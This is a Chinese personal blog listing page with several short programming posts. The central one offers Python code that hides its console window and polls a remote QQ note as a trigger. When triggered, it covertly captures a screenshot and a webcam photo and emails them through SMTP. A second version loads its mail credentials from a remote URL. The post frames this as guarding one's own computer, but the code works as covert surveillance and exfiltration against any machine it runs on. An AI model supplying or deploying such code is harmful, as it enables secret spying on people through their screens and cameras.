首页
友链
推荐
红枫百科[AI]
Windows系统激活
Search
1
QQ9.7.20永久禁止(QQ/NT)自动更新
54 阅读
2
DnF台服:账号任务实现演示
28 阅读
3
记录CentOS系统下检测端口访问并记录访问日志的教程
22 阅读
4
如何查询微信是被谁举报投诉的?
20 阅读
5
Centos系统还原官方yum源
19 阅读
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
登录
/
注册
Search
Gcn
累计撰写
69
篇文章
累计收到
0
条评论
首页
栏目
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
页面
友链
推荐
红枫百科[AI]
Windows系统激活
搜索到
7
篇与
的结果
2026-03-29
Python网页封装exe
import webview import os import sys from pathlib import Path def resource_path(relative): """ 路径兼容性处理(兼容打包和开发环境) """ try: base_path = sys._MEIPASS # PyInstaller 临时目录 except AttributeError: base_path = os.path.dirname(os.path.abspath(__file__)) return os.path.join(base_path, relative) def main(): # 先初始化窗口再启动事件循环 try: window = webview.create_window( "AI网页工具,右键保存图片!", "http://yourdomain", width=1200, height=800, confirm_close=True, text_select=True # 允许文本选择 ) # 延迟注入JS避免初始化冲突 window.events.loaded += lambda: window.evaluate_js(''' // 原下载相关JS代码已移除 ''') # 启动WebView(兼容模式) webview.start( gui="edgechromium" if sys.platform == 'win32' else None, # Windows专用引擎 debug=True, http_server=True, # 启用内置HTTP服务器 storage_path=os.path.join(os.getenv('USERPROFILE'), 'Downloads') ) except webview.errors.WebViewException as e: print(f"启动失败:{str(e)}") print("请确保已安装 Microsoft Edge WebView2 运行时") if __name__ == "__main__": main()封装命令:pyinstaller --onefile --windowed main.py
2026年03月29日
2 阅读
0 评论
0 点赞
2026-03-22
WINDOS系统更新暂停/恢复助手
核心原理就是通过暂停系统更新来实现系统不更新暂停时间是99年脚本是bta运行请管理员权限运行哦{cloud title="win系统暂停更新助手.zip" type="default" url="https://d.tiansj.net/usr/uploads/2026/03/3051308615.zip" password=""/}
2026年03月22日
3 阅读
0 评论
0 点赞
2026-02-11
Python电脑远程拍照并发送到邮箱
PyAutoGUI库安装pip install PyAutoGUIcv2库安装pip install opencv-pythonpython代码:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 邮件配置信息 sender_receiver = 'xxx@qq.com' smtp_info = { 'server': 'smtp.qq.com', 'port': 465, # 使用SSL 'username': 'xxx@qq.com', # 替换为你的邮箱 'password': '邮箱授权码', # 替换为你的邮箱密码或授权码 } # 邮件内容设置 subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\screenshot.jpg" # 网址和监控的值 url = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1的时候拍照2的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) # 每20秒检查一次网址内容 if __name__ == "__main__": main()邮箱配置远程版:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 从URL获取邮件配置信息 def get_email_config(): url = "http://yourdomain/data.txt" try: response = requests.get(url, timeout=5) response.raise_for_status() # 如果请求失败,抛出异常 lines = response.text.splitlines() config = { 'sender_receiver': lines[0].strip(), 'smtp_server': lines[1].strip(), 'smtp_port': int(lines[2].strip()), 'smtp_username': lines[3].strip(), 'smtp_password': lines[4].strip() } return config except requests.RequestException as e: print(f"请求邮件配置信息失败: {e}") return {} # 解析邮件配置信息 email_config = get_email_config() sender_receiver = email_config.get('sender_receiver', 'default_sender_receiver@qq.com') smtp_info = { 'server': email_config.get('smtp_server', 'smtp.qq.com'), 'port': email_config.get('smtp_port', 465), 'username': email_config.get('smtp_username', 'default_username@qq.com'), 'password': email_config.get('smtp_password', 'default_password') } subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\camera_capture.jpg" # 网址和监控的值 url_to_monitor = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1 的时候拍照,2 的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url_to_monitor, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) // 每20秒检查一次网址内容 if __name__ == "__main__": main()
2026年02月11日
5 阅读
0 评论
0 点赞
2026-02-11
Python网页封装exe
import webview import os import sys from pathlib import Path def resource_path(relative): """ 路径兼容性处理(兼容打包和开发环境) """ try: base_path = sys._MEIPASS # PyInstaller 临时目录 except AttributeError: base_path = os.path.dirname(os.path.abspath(__file__)) return os.path.join(base_path, relative) def main(): # 先初始化窗口再启动事件循环 try: window = webview.create_window( "AI网页工具,右键保存图片!", "http://yourdomain", width=1200, height=800, confirm_close=True, text_select=True # 允许文本选择 ) # 延迟注入JS避免初始化冲突 window.events.loaded += lambda: window.evaluate_js(''' // 原下载相关JS代码已移除 ''') # 启动WebView(兼容模式) webview.start( gui="edgechromium" if sys.platform == 'win32' else None, # Windows专用引擎 debug=True, http_server=True, # 启用内置HTTP服务器 storage_path=os.path.join(os.getenv('USERPROFILE'), 'Downloads') ) except webview.errors.WebViewException as e: print(f"启动失败:{str(e)}") print("请确保已安装 Microsoft Edge WebView2 运行时") if __name__ == "__main__": main()封装命令:pyinstaller --onefile --windowed E:\HuaweiMoveData\Users\Administrator\Desktop\a.py
2026年02月11日
6 阅读
0 评论
0 点赞
2025-11-06
python之快手批量下载
想把喜欢的快手视频一次性存到本地。手动一个个保存太费时间?用 Python 就能轻松搞定批量下载!只需几行代码,借助接口解析与请求库,就能自动抓取视频资源、批量保存到本地,还能自定义存储路径和命名规则。无论是整理素材、备份收藏,还是做内容二次创作,都能高效完成,告别重复操作的繁琐~再也不用对着满屏视频点到手酸,用技术提升效率!代码回复可见隐藏内容,请前往内页查看详情
2025年11月06日
6 阅读
0 评论
0 点赞
1
2